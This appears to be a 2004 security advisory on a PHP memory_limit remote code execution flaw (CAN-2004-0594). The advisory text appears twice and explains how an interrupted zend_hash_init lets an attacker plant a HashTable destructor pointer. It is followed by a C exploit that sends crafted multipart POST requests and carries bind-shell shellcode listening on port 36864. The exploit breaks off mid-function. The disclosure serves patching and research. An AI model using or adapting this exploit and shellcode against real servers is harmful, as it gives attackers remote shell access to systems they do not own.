PHP memory_limit Remote Vulnerability Summary PHP is "a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML". According to Security Space PHP is the most popular Apache module and is installed on about 50% of all Apaches worldwide. This figure includes of course only those servers that are not configured with expose_php=Off. During a reaudit of the memory_limit problematic it was discovered that it is possible for a remote attacker to trigger the memory_limit request termination in places where an interruption is unsafe. This can be abused to execute arbitrary code on remote PHP servers. Details Vulnerable Systems: * PHP version 4.3.7 and prior * PHP version 5.0.0RC3 and prior On the 28th June 2004 Gregori Guninski released his advisory about a possible remote DOS vulnerability within Apache 2 (CAN-2004-0493). This vulnerability allows tricking Apache 2 into accepting arbitrary sized HTTP headers. Guninski and many others rated this bug as "Low Risk" for 32bit systems, but they did not take into account that such a bug could have a huge impact on 3rd party modules. After his advisory was released I re-audited PHP's memory_limit request termination, because this bug made it possible to reach the memory_limit at places that were never meant to be interrupted. After a possible exploitation path for Apache 2 servers was discovered and a working exploit was created, similar patches were found and added to the proof of concept exploit that allowed exploitation of NON Apache 2 servers. (i.e. Apache 1.3.31) The idea of the exploit is simple. When PHP allocates a block of memory it first checks in the cache of free memory blocks for a block of the same size. If such a block were found it is taken from the cache otherwise PHP checks if an allocation would violate the memory_limit. In that case the request shutdown is triggered through zend_error(). (PHP < 4.3.7 aborts after the violating memory block is allocated) PHP contains several places where such an interruption is unsafe. An example for such places is those where Zend HashTables are allocated and initialized. This is performed in 2 steps and the initialization step itself allocates memory before important members are correctly initialized. An attacker that is able to trigger the memory_limit abort within zend_hash_init() and is additionally able to control the heap before the HashTable itself is allocated, is able to supply his own HashTable destructor pointer. Several places within PHP where found where this action is performed on HashTables that actually get destructed by the request shutdown. One of such places is i.e. within the fileupload code, but is only trigger-able on Apache 2 servers that are vulnerable to CAN-2004-0493, another one is only reachable if variables_order was changed to have the "E" in the end, a third one is within session extension which is activated by default but the vulnerability can not be triggered if the session functionality is not used. A fourth place is within the implementation of the register_globals functionality. Although this is deactivated by default since PHP 4.2 it is activated on nearly all servers that have to ensure compatibility with older scripts. Other places might exist in not default activated or 3rd party extensions. All mentioned places outside of the extensions are quite easy to exploit, because the memory allocation up to those places is deterministic and quite static throughout different PHP versions. The only unknown entity is the size of the environment vars array. But that is usually small and can be brute forced with some kind of binary search algorithm. Additionally this information could leak to an attacker through an open phpinfo() page. If the admin used php.ini-recommended as configuration basis it is irrelevant anyway because the ENV array is not populated in that case. Because the exploit itself consists of supplying an arbitrary destructor pointer this bug is exploitable on any platform. (Except the system runs with non exec heap+stack protection) This includes systems running Hardened-PHP <= 0.1.2 because they have no protection of the HashTable destructor pointer. As a last word it should be said, that an attacker does not need to send 8/16/64MB (or whatever the memory_limit is) per attack. With POST requests it is quite easy to eat 100 (and more) times the amount of sent bytes. Disclosure Timeline: 07. July 2004 - Vendor-sec was informed about the fact that this vulnerability was found 14. July 2004 - Public Disclosure CVE Information: CAN-2004-0594 Recommendation: If you are running PHP with compiled in memory_limit support, it is strongly recommended that you upgrade as soon as possible to the newest version. Disabling memory_limit within your configuration can be considered a workaround, but leaves your site vulnerable to memory hungry PHP scripts or POST requests that create huge variables. If you are running PHP with Apache <= 2.0.49 ensure that you have the fix for CAN-2004-0493 applied. Release Date: 2004/07/14 Author: Stefan Esser [s.esser@ematters.de] Application: PHP <= 4.3.7 PHP5 <= 5.0.0RC3 During a reaudit of the memory_limit problematic it was discovered that it is possible for a remote attacker to trigger the memory_limit request termination in places where an interruption is unsafe. This can be abused to execute arbitrary code on remote PHP servers. Details On the 28th June 2004 Georgi Guninski released his advisory about a possible remote DOS vulnerability within Apache 2 (CAN-2004-0493). This vulnerability allows tricking Apache 2 into acception arbitrary sized HTTP headers. Guninski and many others rated this bug as "Low Risk" for 32bit systems, but they did not take into account that such a bug could have a huge impact on 3rd party modules. After his advisory was released I reaudited PHP's memory_limit request termination, because this bug made it possible to reach the memory_limit at places that were never meant to be interrupted. After a possible exploitation path for Apache 2 servers was discovered and a working exploit was created, similar pathes were found and added to the proof of concept exploit that allowed exploitation of NON Apache 2 servers. (f.e. Apache 1.3.31) The idea of the exploit is simple. When PHP allocates a block of memory it first checks in the cache of free memory blocks for a block of the same size. If such a block is found it is taken from the cache otherwise PHP checks if an allocation would violate the memory_limit. In that case the request shutdown is triggered through zend_error(). (PHP < 4.3.7 aborts after the violating memory block is allocated) PHP contains several places where such an interruption is unsafe. An example for such places are those where Zend HashTables are allocated and initialised. This is performed in 2 steps and the initialisation step itself allocates memory before important members are correctly initialised. An attacker that is able to trigger the memory_limit abort within zend_hash_init() and is additionally able to control the heap before the HashTable itself is allocated, is able to supply his own HashTable destructor pointer. Several places within PHP where found where this action is performed on HashTables that actually get destructed by the request shutdown. One of such places is f.e. within the fileupload code, but is only triggerable on Apache 2 servers that are vulnerable to CAN-2004-0493, another one is only reachable if variables_order was changed to have the "E" in the end, a third one is within session extension which is activated by default but the vulnerability can not be triggered if the session functionality is not used. A fourth place is within the implementation of the register_globals functionality. Although this is deactivated by default since PHP 4.2 it is activated on nearly all servers that have to ensure compatibility with older scripts. Other places might exist in not default activated or 3rd party extensions. All mentioned places outside of the extensions are quite easy to exploit, because the memory allocation up to those places is deterministic and quite static throughout different PHP versions. The only unknown entity is the size of the environment vars array. But that is usually small and can be bruteforced with some kind of binary search algorithm. Additionally this information could leak to an attacker through an open phpinfo() page. If the admin used php.ini-recommended as configuration basis it is irrelevant anyway because the ENV array is not populated in that case. Because the exploit itself consist of supplying an arbitrary destructor pointer this bug is exploitable on any platform. Even when the system runs with non exec heap+stack protection, because it would be possible to call f.e. the libc system() function. This includes systems running Hardened-PHP <= 0.1.2 because they have no protection of the HashTable destructor pointer. As a last word it should be said, that an attacker does not need to send 8/16/64MB (or whatever the memory_limit is) per attack. With POST requests it is quite easy to eat 100 (and more) times the amount of sent bytes. Vulnerable Systems: * PHP 4 version 4.3.7 and prior * PHP 5 version 5.0RC3 and prior Exploit: /* Remote exploit for the php memory_limit vulnerability found by Stefan * Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3). * * by Gyan Chawdhary (gunnu45@hotmail.com) * (felinemenace.org/~gyan) * * Greets * S.Esser for the vuln and mlxdebug.tgz, everything in the code is based on it. * scrippie, gera, riq, jaguar, girish, n2n ... * * Vulnerability: * The issue is well documented in the advisory. * * Exploitation: * I could not find a generic way to free a 40 byte chunk which could be later * used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table * which will be sent in the first request. The second request will kick in the * memory interuption after allocating space for the hashtable and before it is * initalized. The memory it will use for this allocation will contain the data * from our previous request which includes the pDestructor pointer pointing to * our nop+shellcode which is a part of the second request. This happens in the * zend_hash_destory function. * * PS - The exploit is ugly, coded to test the vuln. If anyone knows the trick * for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7, * Apache 2.0.49 with register_globals = On * * Gyan * * */ #include #include #include #include #include #include #define IP "127.0.0.1" #define PORT 80 int sock; struct sockaddr_in s; char request1[]= "POST /info.php?a[1]=test HTTP/1.0" "Host: doesnotreallymatter\r\n" "User-Agent: mlxdebug\r\n" "Accept: text/html\r\n" "Connection: close\r\n" "Pragma: no-cache\r\n" "Cache-Control: no-cache\r\n" "Content-Type: multipart/form-data; boundary=------------ \r\n BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB \r\n"; char request2[]= "---------------264122487026375\r\n" "Content-Length: 472\r\n" "\r\n" "-----------------------------264122487026375\r\n" "Content-Disposition: form-data; name=\"a[][]\"\r\n" "\r\n" "TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n" "\r\n" "-----------------------------264122487026375--\r\n"; char request3[]= "POST /info.php?a[1]=test HTTP/1.0" "Host: doesnotreallymatter\r\n" "User-Agent: mlxdebug\r\n" "Accept: text/html\r\n" "Connection: close\r\n" "Pragma: no-cache\r\n" "Cache-Control: no-cache\r\n" "Content-Type: multipart/form-data; boundary=-------------"; char request4[]= "---------------264122487026375\r\n" "Content-Length: 472\r\n" "\r\n" "-----------------------------264122487026375\r\n" "Content-Disposition: form-data; name=\"a[][]\"\r\n" "\r\n" "TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n" "-----------------------------264122487026375--\r\n"; /*Ripped shellcode. Runs on port 36864*/ char shell[]= "\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c" "\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46" "\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89" "\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c" "\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66" "\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86" "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f" "\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c" "\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh"; void xp_connect(char *ip) { char buffer[1024]; char temp[1024]; int tmp; s.sin_family = AF_INET; s.sin_port = htons(PORT); s.sin_addr.s_addr = inet_addr(ip); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Cannot create socket\n"); exit(-1); } if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0) { printf("Cannot connect()\n"); exit(-1); } } void xp_write(char *data) { if(write (sock, data, strlen(data)) < 0) { printf("write() failed\n"); exit(-1); } } void xp_receive() { int tmp; char buffer[1024*2]; if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0) { printf("read() failed\n"); exit(-1); } } char fill[] = " \r\n %s \r\n "; /*This function builds the main request. In destroy_uploaded_files_hash we * need to pass zend_hash_apply to reach zend_hash_destroy. * We set * 1) ht->nApplyCount to 0x02020202 to pass HASH_PROTECT_RECURSION * 2) p->pListNext = 0x00000000 to exit out of zend_hash_apply * 3) ht->pDestructor = addr to nop+shellcode * 0x402c22bc : sub $0xc,%esp * 0x402c22bf : pushl 0x8(%esi) * 0x402c22c2 : call *%eax * 0x402c22c4 : add $0x10,%esp * * $eax = ht->pDestructor */ void build1(int size, int count) { char *p1, *p2; char *b1, *b2; int i; int pot = 0xffffffff; int got = 0x41414141; int bot = 0x0818ef29; //0x0818ef78;//0x08189870; //0x402b6c08; int sot = 0x02020202; int ret = 0x081887a8; b1 = (char *)malloc(size-8); p1 = b1; for (i=0; i